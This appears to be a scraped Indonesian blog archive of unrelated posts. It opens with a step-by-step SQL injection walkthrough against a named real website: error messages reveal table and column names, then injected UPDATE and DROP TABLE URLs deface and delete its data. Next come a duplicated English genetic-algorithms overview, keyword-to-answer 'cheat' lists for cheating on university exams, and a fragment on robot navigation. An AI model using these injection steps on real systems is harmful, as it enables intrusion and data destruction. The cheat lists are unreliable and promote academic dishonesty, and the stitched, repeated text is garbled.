Pada kesempatan kali ini, saya akan mencoba menerangkan tentang serangan ke suatu website menggunakan teknik SQL Injection. Saya akan menunjukkan SQL Injection melalui URL. Pada dasarnya caranya adalah sama karena keduanya sama- sama merupakan parameter input.
Teknik untuk menemukan nama field dan table ditemukan oleh david Litcfield. Teknik yang digunakan disini adalah dengan membuat terjadinya error menggunakan perintah having 1=1
STEP 1
Oke, kita langsung masuk ke contoh nyata. Web target kita kali ini ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57
Untuk mendapatkan nama table dan nama field pertama, ialah dengan cara memasukkan perintah dibawah ini pada browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama table = media
nama field pertama = id
STEP 2
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediadate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field kedua = mediadate
STEP 3
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediatitle' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field ketiga = mediatitle
STEP 4
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapublisher' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keempat= mediapublisher
STEP 5
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.mediapath' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field kelima= mediapath
STEP 6
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath having 1=1
Dengan perintah tersebut, maka kita akan mendapatkan pesan error, spt dibawah ini
Microsoft OLE DB Provider for SQL Server error '80040e14'
Column 'media.ishtml' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/Press_Releases/news.asp, line 6
Dari pesan error diatas, bahwa kita mendapatkan informasi bahwa :
nama field keenam= ishtml
STEP 7
Untuk mendapatkan informasi nama field selanjutnya gunakan perintah berikut, pada web browser :
http://www.24x7learning.com/Press_Releases/news.asp?id=57 GROUP BY media.id,media.mediadate,media.mediatitle,media.mediapublisher,media.mediapath,media.ishtml having 1=1
Dengan perintah tersebut, maka kita tidak akan mendapatkan pesan error apapun. Artinya, bahwa pencarian field sudah selesai.
HACKING STEP....
MERUBAH DATA
Untuk merubah data, gunakanlah command SQL yaitu UPDATE. Contohnya kita akan merubah isi dari field ”mediapublisher”, perintah lengkapnya ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57; UPDATE media set mediapublisher=’HACKER WAS HERE’ where id=57;
Sekarang Anda coba akses alamat :
http://www.24x7learning.com/Press_Releases/news.asp?id=57
Silahkan, lihat perubahannya.
MENGHAPUS TABLE
Tindakan yang paling “extreme” ialah menghapus/ drop table. Untuk melakukannya Anda bisa menggunakan comman SQL, yaitu DROP. Perintah lengkapnya ialah :
http://www.24x7learning.com/Press_Releases/news.asp?id=57; drop table
media;
End….
Artikel ini hanya untuk tujuan pembelajaran semata. Tidak pernah dibenarkan untuk melakukan kegiatan cracking kepada suatu website. Satu hal yang perlu Anda ketahui ialah dengan melakukan deface terhadap 100 website tidak akan menjadikan Anda seorang Hacker.
Sabtu, 19 Juni 2010
Jumat, 18 Juni 2010
Pembahasan tentang Algoritma Genetik
Genetic Algorithms Overview
Version: Printer Friendly
Genetic Algorithms Overview
Michael Skinner
Introduction
Genetic algorithms are one of the best ways to solve a problem for which little is known. They are a very general algorithm and so will work well in any search space. All you need to know is what you need the solution to be able to do well, and a genetic algorithm will be able to create a high quality solution. Genetic algorithms use the principles of selection and evolution to produce several solutions to a given problem.
Genetic algorithms tend to thrive in an environment in which there is a very large set of candidate solutions and in which the search space is uneven and has many hills and valleys. True, genetic algorithms will do well in any environment, but they will be greatly outclassed by more situation specific algorithms in the simpler search spaces. Therefore you must keep in mind that genetic algorithms are not always the best choice. Sometimes they can take quite a while to run and are therefore not always feasible for real time use. They are, however, one of the most powerful methods with which to (relatively) quickly create high quality solutions to a problem. Now, before we start, I'm going to provide you with some key terms so that this article makes sense.
* Individual - Any possible solution
* Population - Group of all individuals
* Search Space - All possible solutions to the problem
* Chromosome - Blueprint for an individual
* Trait - Possible aspect of an individual
* Allele - Possible settings for a trait
* Locus - The position of a gene on the chromosome
* Genome - Collection of all chromosomes for an individual
Foundations in Science
In the mid 1800s, 1859 to be exact, a British naturalist named Charles Darwin published a book that would change the way humans view the world. In this book, The Origin of Species, Darwin proposed that humans, and in fact all creatures, were not put on this planet by God and made unchanging, but rather that they evolved from other creatures. At the time, the idea sounded preposterous, but time and time again have we discovered that he may be correct. Advances in technology have made it possible for us to read our DNA and that of other creatures, and what it has shown us is that we aren't as different from other creatures as we think. Over time, creatures change to adapt to their environment to survive and thrive.
One of the most striking examples of this is the Galapagos Islands. Located in the Pacific Ocean, off the coast of Ecuador, this series of islands is one of the most prominent examples of evolution and adaptation. The island contains many species not found anywhere else on the planet, including several species of birds that share many characteristics; too many for it to be a coincidence. It is believed that many birds were blown to the islands by winds and were unable to get back. Over time, the birds spread throughout the islands and began to change to better survive in the differing environments of the islands. Some birds developed large, strong beaks suited to cracking nuts, others long, narrow beaks more suitable for digging bugs out of wood. The birds that had these characteristics when blown to the island survived longer than other birds. This allowed them to reproduce more and therefore have more offspring that also had this unique characteristic. Those without the characteristic gradually died out from starvation. Eventually all of the birds had a type of beak that helped it survive on its island. This is the process of natural selection and evolution. The individuals themselves do not change, but those that survive better, or have a higher fitness, will survive longer and produce more offspring. This continues to happen, with the individuals becoming more suited to their environment every generation. It was this continuous improvement that inspired computer scientists, one of the most prominent being John Holland, to create genetic algorithms.
Basics of Genetic Algorithms
The most common type of genetic algorithm works like this: a population is created with a group of individuals created randomly. The individuals in the population are then evaluated. The evaluation function is provided by the programmer and gives the individuals a score based on how well they perform at the given task. Two individuals are then selected based on their fitness, the higher the fitness, the higher the chance of being selected. These individuals then "reproduce" to create one or more offspring, after which the offspring are mutated randomly. This continues until a suitable solution has been found or a certain number of generations have passed, depending on the needs of the programmer.
Selection
While there are many different types of selection, I will cover the most common type - roulette wheel selection. In roulette wheel selection, individuals are given a probability of being selected that is directly proportionate to their fitness. Two individuals are then chosen randomly based on these probabilities and produce offspring. Pseudo-code for a roulette wheel selection algorithm is shown below.
for all members of population
sum += fitness of this individual
end for
for all members of population
probability = sum of probabilities + (fitness / sum)
sum of probabilities += probability
end for
loop until new population is full
do this twice
number = Random between 0 and 1
for all members of population
if number > probability but less than next probability
then you have been selected
end for
end
create offspring
end loop
While this code is very general and will obviously not compile, it illustrates the basic structure of a selection algorithm. Besides, you should write the code yourself, you learn better that way.
Crossover
So now you have selected your individuals, and you know that you are supposed to somehow produce offspring with them, but how should you go about doing it? The most common solution is something called crossover, and while there are many different kinds of crossover, the most common type is single point crossover. In single point crossover, you choose a locus at which you swap the remaining alleles from on parent to the other. This is complex and is best understood visually.
As you can see, the children take one section of the chromosome from each parent. The point at which the chromosome is broken depends on the randomly selected crossover point. This particular method is called single point crossover because only one crossover point exists. Sometimes only child 1 or child 2 is created, but oftentimes both offspring are created and put into the new population. Crossover does not always occur, however. Sometimes, based on a set probability, no crossover occurs and the parents are copied directly to the new population. The probability of crossover occurring is usually 60% to 70%.
Mutation
After selection and crossover, you now have a new population full of individuals. Some are directly copied, and others are produced by crossover. In order to ensure that the individuals are not all exactly the same, you allow for a small chance of mutation. You loop through all the alleles of all the individuals, and if that allele is selected for mutation, you can either change it by a small amount or replace it with a new value. The probability of mutation is usually between 1 and 2 tenths of a percent. A visual for mutation is shown below.
As you can easily see, mutation is fairly simple. You just change the selected alleles based on what you feel is necessary and move on. Mutation is, however, vital to ensuring genetic diversity within the population.
Applications
Genetic algorithms are a very effective way of quickly finding a reasonable solution to a complex problem. Granted they aren't instantaneous, or even close, but they do an excellent job of searching through a large and complex search space. Genetic algorithms are most effective in a search space for which little is known. You may know exactly what you want a solution to do but have no idea how you want it to go about doing it. This is where genetic algorithms thrive. They produce solutions that solve the problem in ways you may never have even considered. Then again, they can also produce solutions that only work within the test environment and flounder once you try to use them in the real world. Put simply: use genetic algorithms for everything you cannot easily do with another algorithm.
Last Words
So, now you understand the basics of genetic algorithms.
disini kita dapat melihat keunggulan algoritma genetika yaitu :
Jenis paling umum dari algoritma genetika bekerja seperti ini: populasi dibuat dengan sekelompok individu diciptakan secara acak. Individu dalam populasi ini kemudian dievaluasi. Fungsi evaluasi yang disediakan oleh programmer dan memberikan skor individu berdasarkan seberapa baik mereka tampil di tugas yang diberikan. Dua orang ini kemudian dipilih berdasarkan fitness mereka, semakin tinggi kebugaran, semakin tinggi kemungkinan yang dipilih. Orang-orang ini kemudian "mereproduksi" untuk membuat satu atau lebih anak, setelah anak adalah bermutasi secara acak. Ini terus sampai solusi yang cocok telah ditemukan atau sejumlah tertentu generasi telah berlalu, tergantung pada kebutuhan programmer.
kemudian kita akan melihat keunggulannya dalam mengerjakan pertahap kita akan banyak mendapatkan kemudahan dalam perhitungan dengan mendapatkan data yang sangat akurat
Karena akusenangselalu.blogspot.com tidak dapat dipakai maka posting untuk softskill kali ini saya taruh pada blog ini
Version: Printer Friendly
Genetic Algorithms Overview
Michael Skinner
Introduction
Genetic algorithms are one of the best ways to solve a problem for which little is known. They are a very general algorithm and so will work well in any search space. All you need to know is what you need the solution to be able to do well, and a genetic algorithm will be able to create a high quality solution. Genetic algorithms use the principles of selection and evolution to produce several solutions to a given problem.
Genetic algorithms tend to thrive in an environment in which there is a very large set of candidate solutions and in which the search space is uneven and has many hills and valleys. True, genetic algorithms will do well in any environment, but they will be greatly outclassed by more situation specific algorithms in the simpler search spaces. Therefore you must keep in mind that genetic algorithms are not always the best choice. Sometimes they can take quite a while to run and are therefore not always feasible for real time use. They are, however, one of the most powerful methods with which to (relatively) quickly create high quality solutions to a problem. Now, before we start, I'm going to provide you with some key terms so that this article makes sense.
* Individual - Any possible solution
* Population - Group of all individuals
* Search Space - All possible solutions to the problem
* Chromosome - Blueprint for an individual
* Trait - Possible aspect of an individual
* Allele - Possible settings for a trait
* Locus - The position of a gene on the chromosome
* Genome - Collection of all chromosomes for an individual
Foundations in Science
In the mid 1800s, 1859 to be exact, a British naturalist named Charles Darwin published a book that would change the way humans view the world. In this book, The Origin of Species, Darwin proposed that humans, and in fact all creatures, were not put on this planet by God and made unchanging, but rather that they evolved from other creatures. At the time, the idea sounded preposterous, but time and time again have we discovered that he may be correct. Advances in technology have made it possible for us to read our DNA and that of other creatures, and what it has shown us is that we aren't as different from other creatures as we think. Over time, creatures change to adapt to their environment to survive and thrive.
One of the most striking examples of this is the Galapagos Islands. Located in the Pacific Ocean, off the coast of Ecuador, this series of islands is one of the most prominent examples of evolution and adaptation. The island contains many species not found anywhere else on the planet, including several species of birds that share many characteristics; too many for it to be a coincidence. It is believed that many birds were blown to the islands by winds and were unable to get back. Over time, the birds spread throughout the islands and began to change to better survive in the differing environments of the islands. Some birds developed large, strong beaks suited to cracking nuts, others long, narrow beaks more suitable for digging bugs out of wood. The birds that had these characteristics when blown to the island survived longer than other birds. This allowed them to reproduce more and therefore have more offspring that also had this unique characteristic. Those without the characteristic gradually died out from starvation. Eventually all of the birds had a type of beak that helped it survive on its island. This is the process of natural selection and evolution. The individuals themselves do not change, but those that survive better, or have a higher fitness, will survive longer and produce more offspring. This continues to happen, with the individuals becoming more suited to their environment every generation. It was this continuous improvement that inspired computer scientists, one of the most prominent being John Holland, to create genetic algorithms.
Basics of Genetic Algorithms
The most common type of genetic algorithm works like this: a population is created with a group of individuals created randomly. The individuals in the population are then evaluated. The evaluation function is provided by the programmer and gives the individuals a score based on how well they perform at the given task. Two individuals are then selected based on their fitness, the higher the fitness, the higher the chance of being selected. These individuals then "reproduce" to create one or more offspring, after which the offspring are mutated randomly. This continues until a suitable solution has been found or a certain number of generations have passed, depending on the needs of the programmer.
Selection
While there are many different types of selection, I will cover the most common type - roulette wheel selection. In roulette wheel selection, individuals are given a probability of being selected that is directly proportionate to their fitness. Two individuals are then chosen randomly based on these probabilities and produce offspring. Pseudo-code for a roulette wheel selection algorithm is shown below.
for all members of population
sum += fitness of this individual
end for
for all members of population
probability = sum of probabilities + (fitness / sum)
sum of probabilities += probability
end for
loop until new population is full
do this twice
number = Random between 0 and 1
for all members of population
if number > probability but less than next probability
then you have been selected
end for
end
create offspring
end loop
While this code is very general and will obviously not compile, it illustrates the basic structure of a selection algorithm. Besides, you should write the code yourself, you learn better that way.
Crossover
So now you have selected your individuals, and you know that you are supposed to somehow produce offspring with them, but how should you go about doing it? The most common solution is something called crossover, and while there are many different kinds of crossover, the most common type is single point crossover. In single point crossover, you choose a locus at which you swap the remaining alleles from on parent to the other. This is complex and is best understood visually.
As you can see, the children take one section of the chromosome from each parent. The point at which the chromosome is broken depends on the randomly selected crossover point. This particular method is called single point crossover because only one crossover point exists. Sometimes only child 1 or child 2 is created, but oftentimes both offspring are created and put into the new population. Crossover does not always occur, however. Sometimes, based on a set probability, no crossover occurs and the parents are copied directly to the new population. The probability of crossover occurring is usually 60% to 70%.
Mutation
After selection and crossover, you now have a new population full of individuals. Some are directly copied, and others are produced by crossover. In order to ensure that the individuals are not all exactly the same, you allow for a small chance of mutation. You loop through all the alleles of all the individuals, and if that allele is selected for mutation, you can either change it by a small amount or replace it with a new value. The probability of mutation is usually between 1 and 2 tenths of a percent. A visual for mutation is shown below.
As you can easily see, mutation is fairly simple. You just change the selected alleles based on what you feel is necessary and move on. Mutation is, however, vital to ensuring genetic diversity within the population.
Applications
Genetic algorithms are a very effective way of quickly finding a reasonable solution to a complex problem. Granted they aren't instantaneous, or even close, but they do an excellent job of searching through a large and complex search space. Genetic algorithms are most effective in a search space for which little is known. You may know exactly what you want a solution to do but have no idea how you want it to go about doing it. This is where genetic algorithms thrive. They produce solutions that solve the problem in ways you may never have even considered. Then again, they can also produce solutions that only work within the test environment and flounder once you try to use them in the real world. Put simply: use genetic algorithms for everything you cannot easily do with another algorithm.
Last Words
So, now you understand the basics of genetic algorithms.
disini kita dapat melihat keunggulan algoritma genetika yaitu :
Jenis paling umum dari algoritma genetika bekerja seperti ini: populasi dibuat dengan sekelompok individu diciptakan secara acak. Individu dalam populasi ini kemudian dievaluasi. Fungsi evaluasi yang disediakan oleh programmer dan memberikan skor individu berdasarkan seberapa baik mereka tampil di tugas yang diberikan. Dua orang ini kemudian dipilih berdasarkan fitness mereka, semakin tinggi kebugaran, semakin tinggi kemungkinan yang dipilih. Orang-orang ini kemudian "mereproduksi" untuk membuat satu atau lebih anak, setelah anak adalah bermutasi secara acak. Ini terus sampai solusi yang cocok telah ditemukan atau sejumlah tertentu generasi telah berlalu, tergantung pada kebutuhan programmer.
kemudian kita akan melihat keunggulannya dalam mengerjakan pertahap kita akan banyak mendapatkan kemudahan dalam perhitungan dengan mendapatkan data yang sangat akurat
Karena akusenangselalu.blogspot.com tidak dapat dipakai maka posting untuk softskill kali ini saya taruh pada blog ini
Cheat Otomata
klo yg ini blom gw coba
ekspresi regular -- c
dalam deviasi --- a
mesin stata hingga ( dng output ) --- d
mesin stata hingga --- a
himpunan produksi --- b
gramer soal (aabb) -- b
gramer soal (m>n) -- c
tata bahasa -- d
bentuk noprmal chomsky -- d
ekspresi regular -- c
dalam deviasi --- a
mesin stata hingga ( dng output ) --- d
mesin stata hingga --- a
himpunan produksi --- b
gramer soal (aabb) -- b
gramer soal (m>n) -- c
tata bahasa -- d
bentuk noprmal chomsky -- d
Cheat AP3
dicoba dulu pke simulasi yah...
ambil aja yg mnurut lo sering keluar
AP3 (Ujian Negara)
Jawaban A
Entry = A (pasti)
Fungsi fungsi = A (pasti)
Cobol = A (pasti)
Sistem = A (pasti)
Struktur program = A (pasti)
Suatu kelas = A (pasti)
Sesuatu = A (pasti)
Informasi = A (pasti)
Penjelasan = A (pasti)
Perintah pengerjaan = A (pasti)
Perhatikan pernyataan = A (pasti)
Bagian = A (pasti)
kumpulan = A (pasti)
Penentu kelas = A (pasti)
Output = A (pasti)
Judul = A (pasti)
Jawaban B
Kelompok variable = B (pasti)
WRITE = B (pasti)
REDEFINES = B (pasti)
Bila data = B (pasti)
Perintah : DIVIDE = B (pasti)
Klausa = B (pasti)
pencetakan = B (pasti)
organisasi = B (pasti)
Level number = B (pasti bobot2,3)
Data = B (pasti bobot2,3)
Hasil dari = B (bobot2)
Berikut ini adalah = B (bobot3)
Karakter Escape = B (boot2)
Jawaban C
Pesan = C (pasti)
Bentuk umum = C (pasti)
Pernyataan START = C (pasti)
jika program = C (pasti)
Jika terdapat kondisi = C (pasti)
acces = C (pasti)
Apakah output = C (pasti bobot2,3)
perhatikan cuplikan = C (pasti)
PROCEDURE = C (pasti)
Perintah yang boleh = C (pasti)
Tipe makro = C (pasti)
Bagaimana = C (pasti)
Jawaban D
Nama kondisi = D (pasti)
nama data = D (pasti)
fungsi input = D (pasti bobot2)
fungsi output = D (pasti)
perintah untuk = D (pasti)
Kolom = D (pasti bobot2)
Jika X=123 = D (pasti)
Perhatikan program berikut. #include = D (pasti)
ambil aja yg mnurut lo sering keluar
AP3 (Ujian Negara)
Jawaban A
Entry = A (pasti)
Fungsi fungsi = A (pasti)
Cobol = A (pasti)
Sistem = A (pasti)
Struktur program = A (pasti)
Suatu kelas = A (pasti)
Sesuatu = A (pasti)
Informasi = A (pasti)
Penjelasan = A (pasti)
Perintah pengerjaan = A (pasti)
Perhatikan pernyataan = A (pasti)
Bagian = A (pasti)
kumpulan = A (pasti)
Penentu kelas = A (pasti)
Output = A (pasti)
Judul = A (pasti)
Jawaban B
Kelompok variable = B (pasti)
WRITE = B (pasti)
REDEFINES = B (pasti)
Bila data = B (pasti)
Perintah : DIVIDE = B (pasti)
Klausa = B (pasti)
pencetakan = B (pasti)
organisasi = B (pasti)
Level number = B (pasti bobot2,3)
Data = B (pasti bobot2,3)
Hasil dari = B (bobot2)
Berikut ini adalah = B (bobot3)
Karakter Escape = B (boot2)
Jawaban C
Pesan = C (pasti)
Bentuk umum = C (pasti)
Pernyataan START = C (pasti)
jika program = C (pasti)
Jika terdapat kondisi = C (pasti)
acces = C (pasti)
Apakah output = C (pasti bobot2,3)
perhatikan cuplikan = C (pasti)
PROCEDURE = C (pasti)
Perintah yang boleh = C (pasti)
Tipe makro = C (pasti)
Bagaimana = C (pasti)
Jawaban D
Nama kondisi = D (pasti)
nama data = D (pasti)
fungsi input = D (pasti bobot2)
fungsi output = D (pasti)
perintah untuk = D (pasti)
Kolom = D (pasti bobot2)
Jika X=123 = D (pasti)
Perhatikan program berikut. #include = D (pasti)
Cheat Sistem Operasi
pengolah = A bobot 1
Setelah relokasi = A (Y = X+P-A)
penjadwalah prosesor = A bobot 1
Di dalam = A bobot 1
proses A dan B = B
Proses penerjemah = B
Escape = C bobot 1
penentu = C
Tujuan = C
Tentukan hasil = C
Tanda ' = c
Sistem Operasi adalah = C
Statement = D
Data sebagai = D
--------------------------------
jika jawaban A adalah :
19xx = B
Alamat awal tabel suku = A
Arithmatic assignment operator = C
Asosiatif = A
Bahasa Tingkat = B
Batch multiprograming = C
C = A
Compiler = B
Diberi = A
Di capai = A
Dinamik = A (yg soalnya pemuatan)
Halaman = C
internal = D
kelas = C
Melaksanakan = A
Paralel = B
Proses A = A
Proses Di bagian belakang = A
Relokasi = D
Run = C
Satuan = A
Semua benar = D
Semua salah = D
Sistem prosesor = A
Waktu = A ... waktu doank
Setelah relokasi = A (Y = X+P-A)
penjadwalah prosesor = A bobot 1
Di dalam = A bobot 1
proses A dan B = B
Proses penerjemah = B
Escape = C bobot 1
penentu = C
Tujuan = C
Tentukan hasil = C
Tanda ' = c
Sistem Operasi adalah = C
Statement = D
Data sebagai = D
--------------------------------
jika jawaban A adalah :
19xx = B
Alamat awal tabel suku = A
Arithmatic assignment operator = C
Asosiatif = A
Bahasa Tingkat = B
Batch multiprograming = C
C = A
Compiler = B
Diberi = A
Di capai = A
Dinamik = A (yg soalnya pemuatan)
Halaman = C
internal = D
kelas = C
Melaksanakan = A
Paralel = B
Proses A = A
Proses Di bagian belakang = A
Relokasi = D
Run = C
Satuan = A
Semua benar = D
Semua salah = D
Sistem prosesor = A
Waktu = A ... waktu doank
Cheat Matif4
bila n(A)=2 -> A
himp. semesta -> A
relasi R={(1,a)..) -> A
fgs invers dr f(x)=... -> A
himp G=(1,2,3,4,5,6) -> D
jk N adl bil bulat pos -> C
jika Q adlh... -> C
jika smua angka dr 0-1000 -> D
Lattice D10/D20 -> B
misal N x N -> B
misal fgs f(x)=(1,2,3,4) -> A
misal grup G=(1,2,3,4) -> C
udara panas -> A
udara dingin -> C
msl p'ulangan tdk dprblhkn-> D
proposisi -> B
R adlh relasi pd A=... -> B
sbh sist. aljabar -> D
solusi dr relasi.... -> D
verteks -> C
graph -> C
Bobot 3 : preposisi, jawab B
Bobot 3 : solusi, jawab D
Bobot 2 : relasi, jawab A
Bobot 3 : relasi, jawab B
Jika ada kata “Rekursif” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab A
Contoh kalimat : Solusi relasi rekursif …., Relasi rekursif ……, ….. rekursif ….
Jika ada kata “Operasi” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab B
Contoh kalimat : * adalah operasi ……., + adalah operasi …..
himp. semesta -> A
relasi R={(1,a)..) -> A
fgs invers dr f(x)=... -> A
himp G=(1,2,3,4,5,6) -> D
jk N adl bil bulat pos -> C
jika Q adlh... -> C
jika smua angka dr 0-1000 -> D
Lattice D10/D20 -> B
misal N x N -> B
misal fgs f(x)=(1,2,3,4) -> A
misal grup G=(1,2,3,4) -> C
udara panas -> A
udara dingin -> C
msl p'ulangan tdk dprblhkn-> D
proposisi -> B
R adlh relasi pd A=... -> B
sbh sist. aljabar -> D
solusi dr relasi.... -> D
verteks -> C
graph -> C
Bobot 3 : preposisi, jawab B
Bobot 3 : solusi, jawab D
Bobot 2 : relasi, jawab A
Bobot 3 : relasi, jawab B
Jika ada kata “Rekursif” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab A
Contoh kalimat : Solusi relasi rekursif …., Relasi rekursif ……, ….. rekursif ….
Jika ada kata “Operasi” dalam kalimat pertanyaan (Bobot 1,2,3,4), jawab B
Contoh kalimat : * adalah operasi ……., + adalah operasi …..
Cheat Simulasi dan Permodelan
SIMULASI DAN PERMODELAN
A
BAHASA
DIKET PEMBANGKIT
DIK PELEMPARAN DADU
JIKA DIK PROBABILITAS
JIKA DIK VARIABEL ACAK
B
APA ITU
DALAM TIPE MODEL
C
BOBOT 3 SOAL LEBIH DARI 8 BARIS
JIKA DIKETAHUI IDENTITAS
JIKA DIKETAHUI FUNGSI
SEBUAH
D
BOBOT 2 SOAL BARIS 5
DARI PEMBANGKIT
DIKET RUMUS
DIKET VARIABEL ACAK
DIKET REKURSIF
DIK :
MIS X
A
BAHASA
DIKET PEMBANGKIT
DIK PELEMPARAN DADU
JIKA DIK PROBABILITAS
JIKA DIK VARIABEL ACAK
B
APA ITU
DALAM TIPE MODEL
C
BOBOT 3 SOAL LEBIH DARI 8 BARIS
JIKA DIKETAHUI IDENTITAS
JIKA DIKETAHUI FUNGSI
SEBUAH
D
BOBOT 2 SOAL BARIS 5
DARI PEMBANGKIT
DIKET RUMUS
DIKET VARIABEL ACAK
DIKET REKURSIF
DIK :
MIS X
RPL1
Kode Soal : KK045314
tabel fungsi, jml baris = A
pemograman (3) = A
evaluasi (3) = A
ABC Benar
bobot 3 =B
dijawaban D, abc salah = C
1.code oriented tools =A
mana yg bukan =A
ada 4 orang =A
clasik life cycle =B
dibwh ini merupakan ciri =B
jika eror =B
jika kesalahan =B
berikut ini diagram DAM =B
untuk sebuah =C
perhatikan =c
produktifitas =c
ciri yg menonjol =c
tahap =c
kegiatan2 =D
yg termasuk =D
yg perlu diperhatikan =D
berikut ini adalah/contoh =D
berikut ini yg merupakan / termasuk =D
tabel =D
dari keempat (3) =C
D. jawab A & B benar =D
A. ABC benar =D
realtime =B
translator =B
tabel fungsi, jml baris = A
pemograman (3) = A
evaluasi (3) = A
ABC Benar
bobot 3 =B
dijawaban D, abc salah = C
1.code oriented tools =A
mana yg bukan =A
ada 4 orang =A
clasik life cycle =B
dibwh ini merupakan ciri =B
jika eror =B
jika kesalahan =B
berikut ini diagram DAM =B
untuk sebuah =C
perhatikan =c
produktifitas =c
ciri yg menonjol =c
tahap =c
kegiatan2 =D
yg termasuk =D
yg perlu diperhatikan =D
berikut ini adalah/contoh =D
berikut ini yg merupakan / termasuk =D
tabel =D
dari keempat (3) =C
D. jawab A & B benar =D
A. ABC benar =D
realtime =B
translator =B
Cheat Pemrograman Berbasis Objek
Ini cheat yang paling gampang
klo di pertanyaan ada PASCAL atau BASIC jawaban A
klo COBOL jawaban B
ini g usah belajar beli vocer langsung ujian 5 menit kelar dgn muka bahagia
hehe....
klo di pertanyaan ada PASCAL atau BASIC jawaban A
klo COBOL jawaban B
ini g usah belajar beli vocer langsung ujian 5 menit kelar dgn muka bahagia
hehe....
Cheat AP1
Kode Soal : KD045412.MDB
outputnya bobot 2/3 = b
hasil program dibawah ini bobot 2/3 = d
hasil dari program berikut adalah bobot 3/1 = a
bobot 2 = c
perhatikan program berikut bobot 2/3 = b
apakah hasil program berikut bobot 2 = c
gw dulu pke cheat yang ini
lo coba aja pke database yg lo punya
outputnya bobot 2/3 = b
hasil program dibawah ini bobot 2/3 = d
hasil dari program berikut adalah bobot 3/1 = a
bobot 2 = c
perhatikan program berikut bobot 2/3 = b
apakah hasil program berikut bobot 2 = c
gw dulu pke cheat yang ini
lo coba aja pke database yg lo punya
Cheat Fisika Kimia Dasar
Kode Soal : KD013210.MDB
besar kuat medan magnet = A
dua buah kapasitor = A
kapasitor dengan = A
menurut kaidah = A
pada suatu = A
diketahui = A
pd sumbu = B
berapa besar = B
massa = B
tv = B
dua bola penghantar = B
satu = B
tentukan besar = B
andaikan = B
atom hidrogen = B
hitung (lah) = B
inti atom/helium = B
berapakah besar (2&3) = B
(1) = C
apabila = C
dua buah resistor = C
empat bh hambatan = C
jika F1,2 = C
kawat(1&2) = C
hambatan kawat = c
baterai n volt = C
benda yg mempunyai = C
bola/bujursangkar = C
1 = D
bahan = D
Kumparan/lampu = D
satuan dr = D
alat listrik = D
bahan = D
Sepotong kawat panjang = D
besar kuat medan magnet = A
dua buah kapasitor = A
kapasitor dengan = A
menurut kaidah = A
pada suatu = A
diketahui = A
pd sumbu = B
berapa besar = B
massa = B
tv = B
dua bola penghantar = B
satu = B
tentukan besar = B
andaikan = B
atom hidrogen = B
hitung (lah) = B
inti atom/helium = B
berapakah besar (2&3) = B
(1) = C
apabila = C
dua buah resistor = C
empat bh hambatan = C
jika F1,2 = C
kawat(1&2) = C
hambatan kawat = c
baterai n volt = C
benda yg mempunyai = C
bola/bujursangkar = C
1 = D
bahan = D
Kumparan/lampu = D
satuan dr = D
alat listrik = D
bahan = D
Sepotong kawat panjang = D
Rabu, 16 Juni 2010
Membahas Artikel APPLIED TO ROBOT NAVIGATION CONTROLLER OPTIMIZATION
Algoritma genetika
APPLIED TO ROBOT NAVIGATION CONTROLLER OPTIMIZATION
Artikel ini menunjukkan hasil kerja kami pada penggunaan algoritma genetika untuk robot controller optimasi, khususnya orang-orang yang saraf-jaringan berbasis. Kedua efisiensi dan efektivitas diukur dalam serangkaian skenario yang berbeda, dan hasilnya menunjukkan menarik kesimpulan yang berkaitan indikator ini dan kompleksitas lingkungan.
Tujuan penelitian ini adalah untuk memenuhi syarat kemungkinan pengontrol JST optimasi dengan menggunakan algoritma genetika.
Penggunaan algoritma genetika telah terbukti berguna dalam satu set besar optimasi problems (Mesin Boeing menjadi yang paling luar biasa misalnya) yang beragam jenis dan kerumitan, namun optimasi dari saraf jaringan terus menjadi aplikasi menuntut metodologi ini, terutama karena tinggi polimodality dan ukuran ruang pencarian
